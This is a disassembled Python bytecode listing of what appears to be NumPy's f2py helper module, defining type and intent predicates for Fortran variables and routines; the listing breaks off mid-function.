STORE_NAME issubroutine_wrap LOAD_CONST <code object isattr_value at 0x7fa874593930, file "f.py", line 384> LOAD_CONST 'isattr_value' MAKE_FUNCTION STORE_NAME isattr_value LOAD_CONST <code object hasassumedshape at 0x7fa8745930c0, file "f.py", line 388> LOAD_CONST 'hasassumedshape' MAKE_FUNCTION STORE_NAME hasassumedshape LOAD_CONST <code object requiresf90wrapper at 0x7fa874593c90, file "f.py", line 399> LOAD_CONST 'requiresf90wrapper' MAKE_FUNCTION STORE_NAME requiresf90wrapper LOAD_CONST <code object isroutine at 0x7fa874593d20, file "f.py", line 403> LOAD_CONST 'isroutine' MAKE_FUNCTION STORE_NAME isroutine LOAD_CONST <code object islogicalfunction at 0x7fa8745939c0, file "f.py", line 407> LOAD_CONST 'islogicalfunction' MAKE_FUNCTION STORE_NAME islogicalfunction LOAD_CONST <code object islong_longfunction at 0x7fa874593ae0, file "f.py", line 419> LOAD_CONST 'islong_longfunction' MAKE_FUNCTION STORE_NAME islong_longfunction LOAD_CONST <code object islong_doublefunction at 0x7faad43c0c90, file "f.py", line 431> LOAD_CONST 'islong_doublefunction' MAKE_FUNCTION STORE_NAME islong_doublefunction LOAD_CONST <code object iscomplexfunction at 0x7faad43c0660, file "f.py", line 443> LOAD_CONST 'iscomplexfunction' MAKE_FUNCTION STORE_NAME iscomplexfunction LOAD_CONST <code object iscomplexfunction_warn at 0x7faad43c0c00, file "f.py", line 455> LOAD_CONST 'iscomplexfunction_warn' MAKE_FUNCTION STORE_NAME iscomplexfunction_warn LOAD_CONST <code object isstringfunction at 0x7faad43c0e40, file "f.py", line 471> LOAD_CONST 'isstringfunction' MAKE_FUNCTION STORE_NAME isstringfunction LOAD_CONST <code object hasexternals at 0x7faad43c04b0, file "f.py", line 483> LOAD_CONST 'hasexternals' MAKE_FUNCTION STORE_NAME hasexternals LOAD_CONST <code object isthreadsafe at 0x7faad43c0030, file "f.py", line 487> LOAD_CONST 'isthreadsafe' MAKE_FUNCTION STORE_NAME isthreadsafe LOAD_CONST <code object hasvariables at 0x7faad43c0d20, file "f.py", line 491> LOAD_CONST 'hasvariables' MAKE_FUNCTION STORE_NAME hasvariables LOAD_CONST <code object isoptional at 0x7faad43c0f60, file "f.py", line 495> LOAD_CONST 'isoptional' MAKE_FUNCTION STORE_NAME isoptional LOAD_CONST <code object isexternal at 0x7faad43c0390, file "f.py", line 503> LOAD_CONST 'isexternal' MAKE_FUNCTION STORE_NAME isexternal LOAD_CONST <code object getdimension at 0x7faad43c0420, file "f.py", line 507> LOAD_CONST 'getdimension' MAKE_FUNCTION STORE_NAME getdimension LOAD_CONST <code object isrequired at 0x7fab41668300, file "f.py", line 514> LOAD_CONST 'isrequired' MAKE_FUNCTION STORE_NAME isrequired LOAD_CONST <code object isintent_in at 0x7fab416688a0, file "f.py", line 518> LOAD_CONST 'isintent_in' MAKE_FUNCTION STORE_NAME isintent_in LOAD_CONST <code object isintent_inout at 0x7fab41668c00, file "f.py", line 536> LOAD_CONST 'isintent_inout' MAKE_FUNCTION STORE_NAME isintent_inout LOAD_CONST <code object isintent_out at 0x7fab41668c90, file "f.py", line 546> LOAD_CONST 'isintent_out' MAKE_FUNCTION STORE_NAME isintent_out LOAD_CONST <code object isintent_hide at 0x7fab41668660, file "f.py", line 550> LOAD_CONST 'isintent_hide' MAKE_FUNCTION STORE_NAME isintent_hide LOAD_CONST <code object isintent_nothide at 0x7fab41668d20, file "f.py", line 561> LOAD_CONST 'isintent_nothide' MAKE_FUNCTION STORE_NAME isintent_nothide LOAD_CONST <code object isintent_c at 0x7fab41668f60, file "f.py", line 565> LOAD_CONST 'isintent_c' MAKE_FUNCTION STORE_NAME isintent_c LOAD_CONST <code object isintent_cache at 0x7fab41668420, file "f.py", line 569> LOAD_CONST 'isintent_cache' MAKE_FUNCTION STORE_NAME isintent_cache LOAD_CONST <code object isintent_copy at 0x7fab416686f0, file "f.py", line 573> LOAD_CONST 'isintent_copy' MAKE_FUNCTION STORE_NAME isintent_copy LOAD_CONST <code object isintent_overwrite at 0x7fab41668e40, file "f.py", line 577> LOAD_CONST 'isintent_overwrite' MAKE_FUNCTION STORE_NAME isintent_overwrite LOAD_CONST <code object isintent_callback at 0x7fab41668030, file "f.py", line 581> LOAD_CONST 'isintent_callback' MAKE_FUNCTION STORE_NAME isintent_callback LOAD_CONST <code object isintent_inplace at 0x7fab41668540, file "f.py", line 585> LOAD_CONST 'isintent_inplace' MAKE_FUNCTION STORE_NAME isintent_inplace LOAD_CONST <code object isintent_aux at 0x7fab41668a50, file "f.py", line 589> LOAD_CONST 'isintent_aux' MAKE_FUNCTION STORE_NAME isintent_aux LOAD_CONST <code object isintent_aligned4 at 0x7fab4158ee40, file "f.py", line 593> LOAD_CONST 'isintent_aligned4' MAKE_FUNCTION STORE_NAME isintent_aligned4 LOAD_CONST <code object isintent_aligned8 at 0x7fab4158e390, file "f.py", line 597> LOAD_CONST 'isintent_aligned8' MAKE_FUNCTION STORE_NAME isintent_aligned8 LOAD_CONST <code object isintent_aligned16 at 0x7fab4158eed0, file "f.py", line 601> LOAD_CONST 'isintent_aligned16' MAKE_FUNCTION STORE_NAME isintent_aligned16 LOAD_NAME isintent_in LOAD_CONST 'INTENT_IN' LOAD_NAME isintent_inout LOAD_CONST 'INTENT_INOUT' LOAD_NAME isintent_out LOAD_CONST 'INTENT_OUT' LOAD_NAME isintent_hide LOAD_CONST 'INTENT_HIDE' LOAD_NAME isintent_cache LOAD_CONST 'INTENT_CACHE' LOAD_NAME isintent_c LOAD_CONST 'INTENT_C' LOAD_NAME isoptional LOAD_CONST 'OPTIONAL' LOAD_NAME isintent_inplace LOAD_CONST 'INTENT_INPLACE' LOAD_NAME isintent_aligned4 LOAD_CONST 'INTENT_ALIGNED4' LOAD_NAME isintent_aligned8 LOAD_CONST 'INTENT_ALIGNED8' LOAD_NAME isintent_aligned16 LOAD_CONST 'INTENT_ALIGNED16' BUILD_MAP STORE_NAME isintent_dict LOAD_CONST <code object isprivate at 0x7fab4158ec90, file "f.py", line 620> LOAD_CONST 'isprivate' MAKE_FUNCTION STORE_NAME isprivate LOAD_CONST <code object hasinitvalue at 0x7fab4158e9c0, file "f.py", line 624> LOAD_CONST 'hasinitvalue' MAKE_FUNCTION STORE_NAME hasinitvalue LOAD_CONST <code object hasinitvalueasstring at 0x7fab4158e810, file "f.py", line 628> LOAD_CONST 'hasinitvalueasstring' MAKE_FUNCTION STORE_NAME hasinitvalueasstring LOAD_CONST <code object hasnote at 0x7fab4158e030, file "f.py", line 634> LOAD_CONST 'hasnote' MAKE_FUNCTION STORE_NAME hasnote LOAD_CONST <code object hasresultnote at 0x7fab4158ef60, file "f.py", line 638> LOAD_CONST 'hasresultnote' MAKE_FUNCTION STORE_NAME hasresultnote LOAD_CONST <code object hascommon at 0x7fab4158e300, file "f.py", line 650> LOAD_CONST 'hascommon' MAKE_FUNCTION STORE_NAME hascommon LOAD_CONST <code object containscommon at 0x7fab4158e150, file "f.py", line 654> LOAD_CONST 'containscommon' MAKE_FUNCTION STORE_NAME containscommon LOAD_CONST <code object containsmodule at 0x7fab4158e6f0, file "f.py", line 664> LOAD_CONST 'containsmodule' MAKE_FUNCTION STORE_NAME containsmodule LOAD_CONST <code object hasbody at 0x7fab4158e4b0, file "f.py", line 675> LOAD_CONST 'hasbody' MAKE_FUNCTION STORE_NAME hasbody LOAD_CONST <code object hascallstatement at 0x7fab4158e0c0, file "f.py", line 679> LOAD_CONST 'hascallstatement' MAKE_FUNCTION STORE_NAME hascallstatement LOAD_CONST <code object istrue at 0x7fab4158eb70, file "f.py", line 683> LOAD_CONST 'istrue' MAKE_FUNCTION STORE_NAME istrue LOAD_CONST <code object isfalse at 0x7fab4158e420, file "f.py", line 687> LOAD_CONST 'isfalse' MAKE_FUNCTION STORE_NAME isfalse LOAD_BUILD_CLASS LOAD_CONST <code object F2PYError at 0x7fab4158e8a0, file "f.py", line 691> LOAD_CONST 'F2PYError' MAKE_FUNCTION LOAD_CONST 'F2PYError' LOAD_NAME Exception CALL_FUNCTION STORE_NAME F2PYError LOAD_BUILD_CLASS LOAD_CONST <code object throw_error at 0x7fab4158e5d0, file "f.py", line 695> LOAD_CONST 'throw_error' MAKE_FUNCTION LOAD_CONST 'throw_error' CALL_FUNCTION STORE_NAME throw_error LOAD_CONST <code object l_and at 0x7fab4158ea50, file "f.py", line 704> LOAD_CONST 'l_and' MAKE_FUNCTION STORE_NAME l_and LOAD_CONST <code object l_or at 0x7fab4158e540, file "f.py", line 712> LOAD_CONST 'l_or' MAKE_FUNCTION STORE_NAME l_or LOAD_CONST <code object l_not at 0x7fab4158e780, file "f.py", line 720> LOAD_CONST 'l_not' MAKE_FUNCTION STORE_NAME l_not LOAD_CONST <code object isdummyroutine at 0x7fab4158ed20, file "f.py", line 724> LOAD_CONST 'isdummyroutine' MAKE_FUNCTION STORE_NAME isdummyroutine LOAD_CONST <code object getfortranname at 0x7fab0018d030, file "f.py", line 731> LOAD_CONST 'getfortranname' MAKE_FUNCTION STORE_NAME getfortranname LOAD_CONST (1, 0) LOAD_CONST <code object getmultilineblock at 0x7fab0018d150, file "f.py", line 744> LOAD_CONST 'getmultilineblock' MAKE_FUNCTION STORE_NAME getmultilineblock LOAD_CONST <code object getcallstatement at 0x7fab0018d0c0, file "f.py", line 781> LOAD_CONST 'getcallstatement' MAKE_FUNCTION STORE_NAME getcallstatement BUILD_MAP BUILD_TUPLE LOAD_CONST <code object getcallprotoargument at 0x7fab0018d300, file "f.py", line 785> LOAD_CONST 'getcallprotoargument' MAKE_FUNCTION STORE_NAME getcallprotoargument LOAD_CONST <code object getusercode at 0x7fab0018d1e0, file "f.py", line 826> LOAD_CONST 'getusercode' MAKE_FUNCTION STORE_NAME getusercode LOAD_CONST <code object getusercode1 at 0x7fab0018d390, file "f.py", line 830> LOAD_CONST 'getusercode1' MAKE_FUNCTION STORE_NAME getusercode1 LOAD_CONST <code object getpymethoddef at 0x7fab0018d420, file "f.py", line 834> LOAD_CONST 'getpymethoddef' MAKE_FUNCTION STORE_NAME getpymethoddef LOAD_CONST <code object getargs at 0x7fab0018d4b0, file "f.py", line 838> LOAD_CONST 'getargs' MAKE_FUNCTION STORE_NAME getargs LOAD_CONST <code object getargs2 at 0x7fab0018d5d0, file "f.py", line 854> LOAD_CONST 'getargs2' MAKE_FUNCTION STORE_NAME getargs2 LOAD_CONST <code object getrestdoc at 0x7fab0018d660, file "f.py", line 874> LOAD_CONST 'getrestdoc' MAKE_FUNCTION STORE_NAME getrestdoc LOAD_CONST <code object gentitle at 0x7fab0018d6f0, file "f.py", line 883> LOAD_CONST 'gentitle' MAKE_FUNCTION STORE_NAME gentitle LOAD_CONST <code object flatlist at 0x7fab0018d810, file "f.py", line 888> LOAD_CONST 'flatlist' MAKE_FUNCTION STORE_NAME flatlist LOAD_CONST <code object stripcomma at 0x7fab0018d8a0, file "f.py", line 894> LOAD_CONST 'stripcomma' MAKE_FUNCTION STORE_NAME stripcomma LOAD_CONST ('',) LOAD_CONST <code object replace at 0x7fab0018da50, file "f.py", line 900> LOAD_CONST 'replace' MAKE_FUNCTION STORE_NAME replace LOAD_CONST <code object dictappend at 0x7fab0018dae0, file "f.py", line 919> LOAD_CONST 'dictappend' MAKE_FUNCTION STORE_NAME dictappend BUILD_MAP BUILD_TUPLE LOAD_CONST <code object applyrules at 0x7fab0018dc00, file "f.py", line 948> LOAD_CONST 'applyrules' MAKE_FUNCTION STORE_NAME applyrules LOAD_NAME re LOAD_METHOD compile LOAD_CONST '\\s*python\\s*module\\s*(?P<name>[\\w_]+)' LOAD_NAME re LOAD_ATTR I CALL_METHOD LOAD_ATTR match STORE_NAME _f2py_module_name_match LOAD_NAME re LOAD_METHOD compile LOAD_CONST '\\s*python\\s*module\\s*(?P<name>[\\w_]*?__user__[\\w_]*)' LOAD_NAME re LOAD_ATTR I CALL_METHOD LOAD_ATTR match STORE_NAME _f2py_user_module_name_match LOAD_CONST <code object get_f2py_modulename at 0x7fab0018dc90, file "f.py", line 1018> LOAD_CONST 'get_f2py_modulename' MAKE_FUNCTION STORE_NAME get_f2py_modulename LOAD_CONST <code object getuseblocks at 0x7fab0018ddb0, file "f.py", line 1031> LOAD_CONST 'getuseblocks' MAKE_FUNCTION STORE_NAME getuseblocks EXTENDED_ARG LOAD_CONST (False,) LOAD_CONST <code object process_f2cmap_dict at 0x7fab0018df60, file "f.py", line 1042> LOAD_CONST 'process_f2cmap_dict' MAKE_FUNCTION STORE_NAME process_f2cmap_dict LOAD_CONST None RETURN_VALUE LOAD_GLOBAL options LOAD_METHOD get LOAD_CONST 'verbose' LOAD_CONST 1 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL sys LOAD_ATTR stdout LOAD_METHOD write LOAD_FAST t CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'capi' LOAD_GLOBAL debugoptions COMPARE_OP in RETURN_VALUE LOAD_CONST 'typespec' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_CONST 'typespec' BINARY_SUBSCR LOAD_CONST 'character' COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isexternal LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_CONST 'typespec' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_CONST 'typespec' BINARY_SUBSCR LOAD_CONST 'character' COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isexternal LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL _ischaracter LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_CONST 'charselector' LOAD_FAST var COMPARE_OP not in RETURN_VALUE LOAD_GLOBAL ischaracter_or_characterarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL ischaracter_or_characterarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL _ischaracter LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_CONST 'charselector' LOAD_FAST var COMPARE_OP in RETURN_VALUE LOAD_GLOBAL isstring_or_stringarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL isstring_or_stringarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isstringarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_CONST 'dimension' BINARY_SUBSCR LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST '(*)' COMPARE_OP == RETURN_VALUE LOAD_CONST 'dimension' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isexternal LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_GLOBAL isstring LOAD_FAST var CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_GLOBAL isexternal LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('complex', 'double complex') COMPARE_OP in RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'logical' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'real' COMPARE_OP == RETURN_VALUE SETUP_EXCEPT to 14 LOAD_FAST var LOAD_CONST 'kindselector' BINARY_SUBSCR LOAD_CONST '*' BINARY_SUBSCR RETURN_VALUE DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP SETUP_EXCEPT to 42 LOAD_FAST var LOAD_CONST 'kindselector' BINARY_SUBSCR LOAD_CONST 'kind' BINARY_SUBSCR RETURN_VALUE DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 62 END_FINALLY POP_EXCEPT JUMP_FORWARD to 68 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '1' COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '8' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-1' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-2' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-4' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-8' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'real' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '8' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isscalar LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'real' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '16' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL iscomplex LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '32' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('complex', 'double complex') COMPARE_OP in RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST 'integer' COMPARE_OP == JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '1' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-1' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-2' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-4' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '-8' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '1' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '2' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '4' COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isarray LOAD_FAST var CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST var LOAD_METHOD get LOAD_CONST 'typespec' CALL_METHOD LOAD_CONST ('integer', 'logical') COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL get_kind LOAD_FAST var CALL_FUNCTION LOAD_CONST '8' COMPARE_OP == RETURN_VALUE LOAD_CONST 'attrspec' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'allocatable' LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR COMPARE_OP in RETURN_VALUE LOAD_CONST 'dimension' LOAD_FAST var COMPARE_OP not in JUMP_IF_TRUE_OR_POP LOAD_GLOBAL isstring LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_CONST 'modulename' LOAD_FAST rout COMPARE_OP in RETURN_VALUE LOAD_CONST 'block' LOAD_FAST rout COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'module' LOAD_FAST rout LOAD_CONST 'block' BINARY_SUBSCR COMPARE_OP == RETURN_VALUE LOAD_CONST 'block' LOAD_FAST rout COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'function' LOAD_FAST rout LOAD_CONST 'block' BINARY_SUBSCR COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isintent_c LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL wrapfuncs JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isexternal LOAD_FAST rout CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_CONST 'block' LOAD_FAST rout COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'subroutine' LOAD_FAST rout LOAD_CONST 'block' BINARY_SUBSCR COMPARE_OP == RETURN_VALUE LOAD_GLOBAL isintent_c LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL issubroutine LOAD_FAST rout CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL hasassumedshape LOAD_FAST rout CALL_FUNCTION RETURN_VALUE LOAD_CONST 'value' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'attrspec' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_FAST rout LOAD_METHOD get LOAD_CONST 'hasassumedshape' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE SETUP_LOOP to 86 LOAD_FAST rout LOAD_CONST 'args' BINARY_SUBSCR GET_ITER FOR_ITER to 84 STORE_FAST a SETUP_LOOP to 82 LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_METHOD get LOAD_FAST a BUILD_MAP CALL_METHOD LOAD_METHOD get LOAD_CONST 'dimension' BUILD_LIST CALL_METHOD GET_ITER FOR_ITER to 80 STORE_FAST d LOAD_FAST d LOAD_CONST ':' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST rout LOAD_CONST 'hasassumedshape' STORE_SUBSCR LOAD_CONST True RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST False RETURN_VALUE LOAD_GLOBAL ismoduleroutine LOAD_FAST rout CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_GLOBAL hasassumedshape LOAD_FAST rout CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_GLOBAL issubroutine LOAD_FAST rout CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'result' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'result' BINARY_SUBSCR STORE_FAST a JUMP_FORWARD to 38 LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST a LOAD_FAST a LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL islogical LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'result' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'result' BINARY_SUBSCR STORE_FAST a JUMP_FORWARD to 38 LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST a LOAD_FAST a 